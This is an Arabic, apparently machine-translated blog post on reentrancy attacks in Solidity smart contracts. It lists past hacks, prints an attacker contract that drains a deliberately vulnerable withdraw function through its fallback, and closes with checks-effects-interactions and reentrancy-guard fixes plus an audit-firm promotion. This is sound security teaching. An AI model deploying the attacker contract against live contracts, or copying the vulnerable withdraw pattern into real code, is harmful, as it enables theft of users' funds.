كيف تهرب من العقود الذكية من مجموعة هجمات العودة؟ ذكاء بيانات PlatoBlockchain. البحث العمودي. عاي.

كيف تهرب من العقود الذكية من مجموعة هجمات العودة؟

وقت القراءة: 6 دقائق

إذا ألقينا نظرة فاحصة على أكبر عمليات اختراق العملات المشفرة وفقدت الأرقام التي تسيل لها العين ، فسيكون لها جذور عميقة من عيوب التشفير.

أحد هذه الحوادث الشائعة للثغرات الأمنية هو هجوم Reentrancy. ومع ذلك ، قد لا يبدو التأثير المدمر الناتج عن سوء التعامل مع إعادة الدخول بسيطًا مثل شن الهجوم نفسه.

على الرغم من كونها مشكلة مألوفة ومُعلن عنها جيدًا ، إلا أن ظهور خطأ Reentrancy في العقود الذكية أمر لا مفر منه دائمًا. 

كم مرة تم استغلال ثغرة Reentrancy من قبل المتسللين في السنوات الماضية؟ كيف يعمل؟ كيف تمنع العقود الذكية من خسارة الأموال بسبب أخطاء Reentrancy؟ اعثر على إجابات لهذه الأسئلة في هذه المدونة.

لذلك ، قبل فترة طويلة ، دعونا نتطرق إلى أكبر هجمات إعادة الدخول في الذاكرة. 

بعض من أكثر حيل إعادة الدخول في الوقت الحقيقي شهرة 

هجمات العودة التي تسببت في الآثار الأكثر تدميراً على المشاريع انتهى بها الأمر إلى القيام بواحد من هذين أو حتى كليهما. 

  • استنزاف الأثير تمامًا من العقود الذكية
  • قراصنة يتسللون إلى رمز العقد الذكي

يمكننا الآن ملاحظة بعض حالات هجمات Reentrancy وتأثيرها. 

2016 يونيو: هجوم DAO - 3.54 مليون أو 150 مليون دولار إيثر

أبريل 2020: Uniswap / Lendf.Me hack - 25 مليون دولار

قد 2021: اختراق BurgerSwap - 7.2 مليون دولار

2021 أغسطس: اختراق تمويل كريم - 18.8 مليون دولار

آذار (مارس) 2022: أولا للتمويل - 3.6 مليون دولار

تموز (يوليو) 2022: بروتوكول OMNI - 1.43 مليون دولار

من الواضح تمامًا أن هجمات Reentrancy لم تخرج أبدًا عن الأسلوب. دعنا نكتسب رؤى عميقة حوله في المقاطع التالية. 

نظرة عامة على هجوم Reentrancy

بدءًا من الاسم "Reentrancy" ، والذي يعني "إعادة الدخول مرارًا وتكرارًا." يتضمن هجوم إعادة الدخول عقدين: عقد الضحية وعقد المهاجم. 

يستغل عقد المهاجم ثغرة إعادة الدخول في عقد الضحية. يستخدم وظيفة السحب لتحقيق ذلك. 

يستدعي عقد المهاجم وظيفة السحب لاستنزاف الأموال من عقد الضحية عن طريق إجراء مكالمات متكررة قبل تحديث الرصيد في عقد الضحية. سيقوم عقد الضحية بفحص الرصيد وإرسال الأموال وتحديث الرصيد. 

ولكن ضمن الإطار الزمني لإرسال الأموال وتحديث الرصيد في العقد ، يقوم عقد المهاجم بإجراء مكالمة مستمرة لسحب الأموال. نتيجة لذلك ، لا يتم تحديث الرصيد في عقد الضحية حتى يستنزف عقد المهاجم جميع الأموال.

إن شدة وتكلفة استغلال إعادة الدخول تنذر بالحاجة الماسة للأداء تدقيقات العقود الذكية لاستبعاد احتمال التغاضي عن مثل هذه الأخطاء. 

عرض توضيحي لهجوم العودة

دعونا نفهم مفهوم هجوم العودة من الرسم التوضيحي المبسط أدناه. 

إليك عقدين: العقد الضعيف وعقد القراصنة

يقوم عقد المخترق بإجراء مكالمة للانسحاب من العقد المعرض للخطر. عند تلقي المكالمة ، يقوم العقد الضعيف بالتحقق من الأموال الموجودة في عقد المتسلل ثم يقوم بتحويل الأموال إلى المتسلل. 

يتلقى المخترق الأموال وينفذ الوظيفة الاحتياطية ، والتي تستدعي مرة أخرى العقد الضعيف حتى قبل تحديث الرصيد في العقد الضعيف. وبالتالي ، بتكرار نفس العملية ، يقوم المخترق بسحب الأموال بالكامل من العقد الضعيف. 

كيف تهرب من العقود الذكية من مجموعة هجمات العودة؟

ميزات الوظيفة الاحتياطية التي يستخدمها المهاجم 

  • يتم استدعاؤها خارجيًا. أي لا يمكن استدعاؤهم من داخل العقد المكتوب
  • وظيفة بدون اسم
  • لا تتضمن الوظيفة الاحتياطية منطقًا تعسفيًا بداخلها
  • يتم تشغيل الإجراء الاحتياطي عندما يتم إرسال ETH إلى العقد الذكي المرفق ، ولا يتم الإعلان عن وظيفة الاستلام ().

تحليل هجوم العودة من وجهة نظر فنية 

لنأخذ عينة من العقد ونفهم كيف يحدث هجوم العودة.

عقد ضار

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

هذا هو عقد المهاجم حيث يودع المهاجم 2ETH. يستدعي المهاجم وظيفة السحب في العقد المعرض للخطر. بمجرد استلام الأموال من العقد الضعيف ، يتم تشغيل الوظيفة الاحتياطية. 

ثم ينفذ الاحتياطي وظيفة السحب ويستنزف الصندوق من العقد الضعيف. تستمر هذه الدورة حتى يتم استنفاد الأموال تمامًا من العقد الضعيف.

عقد ضعيف

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

العقد الضعيف لديه 30ETH. هنا ترسل الدالة pull () المبلغ المطلوب إلى المهاجم. نظرًا لعدم تحديث الرصيد ، يتم نقل الرموز المميزة إلى المهاجم بشكل متكرر. 

أنواع هجمات العودة

  • reentrancy وظيفة واحدة 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

يقوم msg.sender.call.value (المبلغ) () بتحويل الأموال التي يتم بعدها سحب مكالمات الوظيفة الاحتياطية للعقد المهاجم () مرة أخرى قبل تحديث الأرصدة [msg.sender] = 0.

  • إعادة الدخول عبر الوظائف
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

إعادة الدخول عبر الوظائف هي طريقة أكثر تعقيدًا لتحديدها. الفرق هنا هو أن الوظيفة الاحتياطية تستدعي التحويل ، على عكس إعادة الدخول ذات الوظيفة الواحدة ، حيث تستدعي الانسحاب.

الوقاية من هجمات العودة

نمط الشيكات والتأثيرات والتفاعلات: يساعد نمط الشيكات والتأثيرات والتفاعلات في تنظيم الوظائف. 

يجب أن يتم ترميز البرنامج بطريقة تتحقق من الشروط أولاً. بمجرد اجتياز الشيكات ، يجب حل التأثيرات على حالة العقود ، وبعد ذلك يمكن استدعاء الوظائف الخارجية. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

الكود المعاد كتابته هنا يتبع نمط الشيكات والتأثيرات والتفاعلات. هنا يكون الرصيد صفرًا قبل إجراء مكالمة خارجية. 

استخدام المعدل

يضمن المعدل noReentrant المطبق على الوظيفة عدم وجود مكالمات عودة. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

في النهاية

تتمثل الخطوة الأكثر فاعلية في إجراء عمليات تدقيق ذكية للعقود من شركة أمنية رائدة مثل QuillAudits ، حيث يراقب المدققون عن كثب بنية الكود ويتحققون من أداء الوظيفة الاحتياطية. بناءً على الأنماط المدروسة ، يتم تقديم التوصيات لإعادة هيكلة الكود إذا بدا أن هناك أيًا منها سلوكيات ضعيفة

يتم ضمان سلامة الأموال مباشرة قبل الوقوع ضحية لأي خسائر. 

الأسئلة الشائعة

ما هو هجوم العودة؟

يحدث هجوم إعادة الدخول عندما تقوم إحدى الوظائف في العقد المعرض للخطر بإجراء استدعاء لعقد غير موثوق به. سيكون العقد غير الموثوق به هو عقد المهاجم الذي يقوم بإجراء مكالمات متكررة للعقد الضعيف حتى يتم استنزاف الأموال تمامًا. 

ما هو العائد؟

تعني عملية إعادة الإدخال مقاطعة تنفيذ الكود وبدء العملية من جديد ، والتي تُعرف أيضًا باسم إعادة الدخول.

ما هو حارس إعادة الدخول؟

يستخدم حارس Reentrancy معدلاً يمنع استدعاء الوظيفة بشكل متكرر. اقرأ المدونة أعلاه للعثور على مثال لـ reentrancy guard.

ما هي بعض الهجمات على العقود الذكية؟

تتعرض العقود الذكية للعديد من نقاط الضعف ، مثل إعادة الدخول ، والاعتماد على الطابع الزمني ، والتدفقات الحسابية ، وهجمات DoS ، وما إلى ذلك. لذلك ، يعد التدقيق أمرًا ضروريًا للتأكد من عدم وجود أخطاء تؤدي إلى انهيار منطق العقد.

69 المشاهدات

الطابع الزمني:

اكثر من كويلهاش